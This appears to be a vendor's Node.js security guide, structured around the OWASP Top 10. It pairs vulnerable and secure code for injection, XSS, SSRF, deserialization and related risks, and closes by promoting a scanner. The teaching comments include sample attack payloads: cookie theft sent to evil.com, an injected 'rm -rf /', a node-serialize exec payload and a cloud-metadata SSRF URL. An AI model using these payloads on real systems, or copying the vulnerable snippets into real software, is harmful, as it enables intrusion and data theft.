Node.js Security Guide 2025

Node.js powers millions of production APIs, microservices, and web applications. Its non-blocking I/O model and vast npm ecosystem make it incredibly productive — but also expose a large attack surface if security is not treated as a first-class concern. This guide maps every major risk to the OWASP Top 10 (2021), includes real vulnerable-vs-secure code examples, and gives you a production-ready checklist.

1. Injection Attacks — SQL, NoSQL & Command Injection

OWASP A03:2021 — InjectionCWE-89, CWE-78, CWE-943

Injection flaws occur when untrusted data is sent to an interpreter as part of a command or query. In Node.js, this commonly manifests in database queries, shell commands, and template engines.

SQL Injection

❌ VulnerableString concatenation in query
// VULNERABLE: user input directly in SQL query
app.get("/api/users", async (req, res) => {
  const id = req.query.id;
  const result = await pool.query(
    "SELECT * FROM users WHERE id = " + id  // ← attacker sends: 1 OR 1=1
  );
  res.json(result.rows);
});
✅ SecureParameterized query
// SECURE: parameterized query — input is escaped by the driver
app.get("/api/users", async (req, res) => {
  const id = req.query.id;
  const result = await pool.query(
    "SELECT * FROM users WHERE id = $1",
    [id]  // ← bound parameter, never interpreted as SQL
  );
  res.json(result.rows);
});

NoSQL Injection

❌ VulnerablePassing req.body directly to MongoDB
// VULNERABLE: attacker sends { "$gt": "" } as username
app.post("/api/login", async (req, res) => {
  const user = await User.findOne({
    username: req.body.username,  // ← can be an operator object
    password: req.body.password,
  });
});
✅ SecureExplicit field extraction + type check
// SECURE: extract and validate types explicitly
app.post("/api/login", async (req, res) => {
  const username = String(req.body.username);
  const password = String(req.body.password);
  const user = await User.findOne({ username, password });
});

Command Injection

❌ VulnerableUser input in shell command
// VULNERABLE: attacker sends "127.0.0.1; rm -rf /"
app.get("/api/ping", (req, res) => {
  exec("ping -c 1 " + req.query.host, (err, stdout) => {
    res.send(stdout);
  });
});
✅ SecureAllowlist + execFile
// SECURE: use execFile (no shell) + validate input
app.get("/api/ping", (req, res) => {
  const host = req.query.host;
  if (!/^[a-zA-Z0-9.-]+$/.test(host)) {
    return res.status(400).json({ error: "Invalid host" });
  }
  execFile("ping", ["-c", "1", host], (err, stdout) => {
    res.send(stdout);
  });
});

2. Cross-Site Scripting (XSS)

OWASP A03:2021 — InjectionCWE-79

XSS allows attackers to inject client-side scripts into web pages viewed by other users. In Node.js backends, reflected XSS happens when user input is echoed back in HTML responses without encoding.

❌ VulnerableReflected XSS via res.send
// VULNERABLE: user input directly in HTML response
app.get("/search", (req, res) => {
  res.send(`<h1>Results for: ${req.query.q}</h1>`);
  // attacker sends: ?q=<script>document.location='https://evil.com/steal?c='+document.cookie</script>
});
✅ SecureOutput encoding + CSP header
import escape from "escape-html";

app.get("/search", (req, res) => {
  const safeQ = escape(req.query.q || "");
  res.set("Content-Security-Policy", "default-src 'self'; script-src 'self'");
  res.send(`<h1>Results for: ${safeQ}</h1>`);
});
  • Always encode output: use escape-html for HTML context, encodeURIComponent() for URLs.
  • Set Content-Security-Policy headers to block inline scripts.
  • Use templating engines that auto-escape by default (Pug, Handlebars with escaping, React JSX).
  • Never use dangerouslySetInnerHTML or innerHTML with user-controlled data.

3. Authentication & Session Security

OWASP A07:2021 — Identification and Authentication FailuresCWE-287, CWE-798

Password Hashing

❌ VulnerablePlain text or MD5 hashing
// VULNERABLE: MD5 is not a password hashing function
const hash = crypto.createHash("md5").update(password).digest("hex");
if (hash === storedHash) { /* login */ }
✅ Securebcrypt with cost factor
import bcrypt from "bcrypt";

// Registration — hash with cost factor 12
const hash = await bcrypt.hash(password, 12);

// Login — constant-time comparison built into bcrypt.compare
const valid = await bcrypt.compare(password, storedHash);

JWT Security

❌ VulnerableHardcoded JWT secret
// VULNERABLE: secret in source code, no expiration
const token = jwt.sign({ userId }, "my-secret-key-123");
✅ SecureEnvironment variable + expiration + algorithm pinning
const token = jwt.sign({ userId }, process.env.JWT_SECRET, {
  expiresIn: "1h",
  algorithm: "HS256",  // pin algorithm to prevent "none" algorithm attack
});

// Verification — always specify algorithms
jwt.verify(token, process.env.JWT_SECRET, { algorithms: ["HS256"] });

Session Cookies

  • Set httpOnly: true — prevents JavaScript access (mitigates XSS cookie theft).
  • Set secure: true — cookies only sent over HTTPS.
  • Set sameSite: "strict" or "lax" — mitigates CSRF.
  • Use short session lifetimes and implement token rotation.
  • Store sessions server-side (Redis, database) rather than in cookies for sensitive apps.

4. Broken Access Control

OWASP A01:2021 — Broken Access ControlCWE-284, CWE-639

❌ VulnerableNo authorization check
// VULNERABLE: any authenticated user can access any account
app.get("/api/account/:id", authMiddleware, async (req, res) => {
  const account = await Account.findById(req.params.id);
  res.json(account);  // ← user A can read user B's data by guessing ID
});
✅ SecureOwnership + role-based check
app.get("/api/account/:id", authMiddleware, async (req, res) => {
  const account = await Account.findById(req.params.id);
  if (!account) return res.status(404).json({ error: "Not found" });

  // Verify ownership or admin role
  if (account.userId !== req.user.id && req.user.role !== "admin") {
    return res.status(403).json({ error: "Forbidden" });
  }
  res.json(account);
});
  • Always verify the requesting user owns the resource or has the required role.
  • Deny by default — require explicit permission grants for each endpoint.
  • Use middleware to enforce role-based access control (RBAC) consistently.
  • Log authorization failures for security monitoring.

5. Dependency & Supply Chain Security

OWASP A06:2021 — Vulnerable and Outdated ComponentsCWE-1104

The average Node.js project pulls in hundreds of transitive dependencies from npm. A single compromised or vulnerable package can expose your entire application.

Audit and fix dependencies
# Check for known vulnerabilities
npm audit

# Auto-fix when possible
npm audit fix

# Check for outdated packages
npm outdated

# Use lockfile-lint to detect lockfile tampering
npx lockfile-lint --path package-lock.json --type npm --allowed-hosts npm
  • Run npm audit in CI/CD pipelines — fail the build on critical/high findings.
  • Pin exact dependency versions in production ("lodash": "4.17.21" not "^4.17.0").
  • Review new dependencies before adding: check maintenance activity, download counts, and known issues.
  • Use package-lock.json and commit it to source control to prevent supply-chain attacks via version drift.
  • Consider using npm ci in production builds for deterministic installs.
  • Use ShieldX SAST Scanner to scan your project code for vulnerabilities alongside dependency checks.

6. Prototype Pollution

OWASP A03:2021 — InjectionCWE-1321

Prototype pollution occurs when an attacker can inject properties into JavaScript's Object.prototype, which then affects all objects in the application. This is especially dangerous in Node.js because a single polluted prototype can escalate to RCE (Remote Code Execution) through certain libraries.

❌ VulnerableDeep merge of user input
import _ from "lodash";

// VULNERABLE: attacker sends { "__proto__": { "isAdmin": true } }
app.post("/api/config", (req, res) => {
  const config = {};
  _.merge(config, req.body);
  // Now ({}).isAdmin === true for ALL objects in the process!
});
✅ SecureSchema validation + Object.create(null)
import { z } from "zod";

const configSchema = z.object({
  theme: z.enum(["light", "dark"]),
  language: z.string().max(5),
});

app.post("/api/config", (req, res) => {
  const parsed = configSchema.parse(req.body); // rejects unexpected keys
  const config = Object.create(null);          // no prototype chain
  Object.assign(config, parsed);
});
  • Never pass raw request bodies to _.merge, _.defaultsDeep, or Object.assign.
  • Validate and allowlist input keys using Zod, Joi, or similar schema validators.
  • Use Object.create(null) for dictionaries that should not inherit from Object.prototype.
  • Keep lodash updated — older versions have known prototype pollution CVEs.

7. Server-Side Request Forgery (SSRF)

OWASP A10:2021 — SSRFCWE-918

❌ VulnerableUser-controlled URL in fetch
// VULNERABLE: attacker sends url=http://169.254.169.254/latest/meta-data/
app.get("/api/preview", async (req, res) => {
  const response = await fetch(req.query.url);  // ← fetches AWS metadata endpoint
  const html = await response.text();
  res.send(html);
});
✅ SecureURL allowlist + private IP block
import { URL } from "url";

const ALLOWED_HOSTS = new Set(["api.example.com", "cdn.example.com"]);

app.get("/api/preview", async (req, res) => {
  const parsed = new URL(req.query.url);

  // Block private IPs and non-allowed hosts
  if (!ALLOWED_HOSTS.has(parsed.hostname)) {
    return res.status(403).json({ error: "Host not allowed" });
  }
  if (parsed.protocol !== "https:") {
    return res.status(400).json({ error: "HTTPS required" });
  }

  const response = await fetch(parsed.toString());
  res.send(await response.text());
});

8. Secure File Uploads

OWASP A04:2021 — Insecure DesignCWE-434

❌ VulnerableNo validation on uploads
// VULNERABLE: no file type, size, or name validation
app.post("/upload", upload.single("file"), (req, res) => {
  const dest = path.join("/uploads", req.file.originalname);
  fs.renameSync(req.file.path, dest);  // ← path traversal via "../../etc/passwd"
});
✅ SecureValidated upload with limits
import { randomUUID } from "crypto";
import path from "path";

const ALLOWED_TYPES = new Set(["image/jpeg", "image/png", "application/pdf"]);
const MAX_SIZE = 10 * 1024 * 1024; // 10 MB

app.post("/upload", upload.single("file"), (req, res) => {
  if (!req.file) return res.status(400).json({ error: "No file" });
  if (!ALLOWED_TYPES.has(req.file.mimetype)) {
    return res.status(400).json({ error: "File type not allowed" });
  }
  if (req.file.size > MAX_SIZE) {
    return res.status(400).json({ error: "File too large" });
  }

  // Use random name to prevent path traversal and overwrites
  const ext = path.extname(req.file.originalname).toLowerCase();
  const safeName = randomUUID() + ext;
  const dest = path.join("/uploads", safeName);

  // Verify resolved path is within upload directory
  if (!dest.startsWith("/uploads/")) {
    return res.status(400).json({ error: "Invalid path" });
  }
  fs.renameSync(req.file.path, dest);
  res.json({ filename: safeName });
});

9. Secrets Management

OWASP A07:2021 — Identification and Authentication FailuresCWE-798

❌ VulnerableHardcoded credentials
// VULNERABLE: credentials in source code
const db = new Pool({
  user: "admin",
  password: "SuperSecret123!",
  host: "db.production.internal",
});
✅ SecureEnvironment variables + .env file
// SECURE: credentials from environment
const db = new Pool({
  user: process.env.DB_USER,
  password: process.env.DB_PASSWORD,
  host: process.env.DB_HOST,
  ssl: { rejectUnauthorized: true },
});

// .env file (NEVER committed to git)
// DB_USER=admin
// DB_PASSWORD=SuperSecret123!
// DB_HOST=db.production.internal
  • Never commit .env files or secrets to source control — add .env to .gitignore.
  • Use a secrets manager (AWS Secrets Manager, HashiCorp Vault, Doppler) in production.
  • Rotate API keys and database credentials on a regular schedule.
  • Use separate credentials for development, staging, and production environments.
  • Audit your codebase with ShieldX to detect hardcoded secrets automatically.

10. Security Headers & CORS

OWASP A05:2021 — Security MisconfigurationCWE-693, CWE-942

❌ VulnerableWildcard CORS with credentials
// VULNERABLE: accepts requests from any origin with credentials
app.use(cors({
  origin: "*",
  credentials: true,
}));
✅ SecureRestricted origin + helmet headers
import helmet from "helmet";
import cors from "cors";

app.use(helmet());  // sets 15+ security headers automatically
app.use(cors({
  origin: ["https://app.example.com", "https://admin.example.com"],
  credentials: true,
  methods: ["GET", "POST", "PUT", "DELETE"],
  allowedHeaders: ["Content-Type", "Authorization"],
}));

Security headers set by helmet:

  • Strict-Transport-Security — forces HTTPS for future requests.
  • X-Content-Type-Options: nosniff — prevents MIME-type sniffing.
  • X-Frame-Options: DENY — prevents clickjacking via iframes.
  • Content-Security-Policy — controls which resources can load on the page.
  • Referrer-Policy — controls how much referrer info is sent.
  • Permissions-Policy — disables browser features you don't use (camera, microphone, etc.).

11. Cryptography Best Practices

OWASP A02:2021 — Cryptographic FailuresCWE-327, CWE-330

❌ VulnerableWeak hash + Math.random for tokens
// VULNERABLE: MD5 is broken for integrity, Math.random is predictable
const checksum = crypto.createHash("md5").update(data).digest("hex");
const token = Math.random().toString(36).slice(2);
✅ SecureStrong algorithms + crypto.randomBytes
// SECURE: SHA-256 for integrity, crypto for randomness
const checksum = crypto.createHash("sha256").update(data).digest("hex");
const token = crypto.randomBytes(32).toString("hex");
const uuid = crypto.randomUUID();
  • Use SHA-256+ for hashing, AES-256-GCM for encryption, bcrypt/argon2 for passwords.
  • Never use MD5, SHA-1, or Math.random() for anything security-sensitive.
  • Use crypto.randomBytes() or crypto.randomUUID() for tokens, nonces, and session IDs.
  • Use crypto.timingSafeEqual() for comparing secrets to prevent timing attacks.

12. Error Handling & Logging

OWASP A09:2021 — Security Logging and Monitoring FailuresCWE-209, CWE-532

❌ VulnerableExposing stack traces to users
// VULNERABLE: leaks internal paths, library versions, DB schema
app.use((err, req, res, next) => {
  res.status(500).json({
    error: err.message,
    stack: err.stack,  // ← attacker sees: at /app/src/db/users.js:42:15
  });
});
✅ SecureGeneric error to client, detailed log server-side
import pino from "pino";
const logger = pino({ level: "info" });

app.use((err, req, res, next) => {
  // Log full details server-side
  logger.error({ err, url: req.url, method: req.method }, "Unhandled error");

  // Generic message to client
  res.status(500).json({ error: "Internal server error" });
});
  • Never expose stack traces, error messages, or internal paths in production responses.
  • Use structured logging (pino, winston) for aggregation and alerting.
  • Log security events: failed logins, authorization failures, input validation errors.
  • Do not log sensitive data (passwords, tokens, PII) — redact before logging.

13. Rate Limiting & DoS Protection

OWASP A04:2021 — Insecure DesignCWE-770

✅ Secureexpress-rate-limit middleware
import rateLimit from "express-rate-limit";

// Global rate limit: 100 requests per 15 minutes per IP
app.use(rateLimit({
  windowMs: 15 * 60 * 1000,
  max: 100,
  standardHeaders: true,
  legacyHeaders: false,
  message: { error: "Too many requests, try again later" },
}));

// Stricter limit on login endpoint
app.post("/api/login", rateLimit({
  windowMs: 15 * 60 * 1000,
  max: 5, // only 5 login attempts per 15 mins
}), loginHandler);
  • Apply global rate limiting and stricter limits on auth endpoints.
  • Use express-rate-limit with a Redis/Memcached store in multi-instance deployments.
  • Set request body size limits: express.json({ limit: "1mb" }).
  • Set request timeouts to prevent slowloris-style attacks.

14. ReDoS (Regular Expression Denial of Service)

OWASP A04:2021 — Insecure DesignCWE-1333

Poorly written regular expressions can be exploited to cause catastrophic backtracking, freezing the event loop and denying service to all users.

❌ VulnerableVulnerable regex with nested quantifiers
// VULNERABLE: catastrophic backtracking on long input
const emailRegex = /^([a-zA-Z0-9]+)+@[a-zA-Z0-9]+\.[a-zA-Z]+$/;
if (emailRegex.test(userInput)) { /* ... */ }
// Input "aaaaaaaaaaaaaaaaaaaaaaaaaaaa!" causes ~2^28 operations
✅ SecureSafe regex + timeout
// SECURE: use a well-tested email validation library
import { z } from "zod";
const schema = z.object({ email: z.string().email() });

// Or use RE2 for guaranteed linear-time matching
import RE2 from "re2";
const safeRegex = new RE2("^[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\\.[a-zA-Z]{2,}$");

15. Insecure Deserialization

OWASP A08:2021 — Software and Data Integrity FailuresCWE-502

❌ VulnerableDeserializing untrusted data
import serialize from "node-serialize";

// VULNERABLE: enables Remote Code Execution (RCE)
app.post("/api/restore", (req, res) => {
  const obj = serialize.unserialize(req.body.data);
  // attacker sends: {"exploit":"_$$ND_FUNC$$_function(){require('child_process').exec('...')}()"}
});
✅ SecureUse JSON.parse with schema validation
import { z } from "zod";

const restoreSchema = z.object({
  name: z.string().max(100),
  settings: z.record(z.string()),
});

app.post("/api/restore", (req, res) => {
  const data = restoreSchema.parse(JSON.parse(req.body.data));
  // Only accepted fields pass through; no code execution possible
});

16. HTTPS & Transport Security

OWASP A02:2021 — Cryptographic FailuresCWE-319

  • Enforce HTTPS using HSTS headers: Strict-Transport-Security: max-age=31536000; includeSubDomains.
  • Redirect all HTTP traffic to HTTPS at the load balancer or reverse proxy level.
  • Never transmit tokens, passwords, or PII over plain HTTP.
  • Use TLS 1.2+ only — disable TLS 1.0 and 1.1 in your Node.js tls.createServer options.
  • Validate TLS certificates in outbound requests (rejectUnauthorized: true).

17. Production Security Checklist

18. Recommended Security Tools

Further Reading


Scan Your Node.js Code for Free

ShieldX detects SQL injection, XSS, command injection, hardcoded secrets, prototype pollution, and 50+ more vulnerability types — directly in your browser, no install needed.

Try ShieldX Free →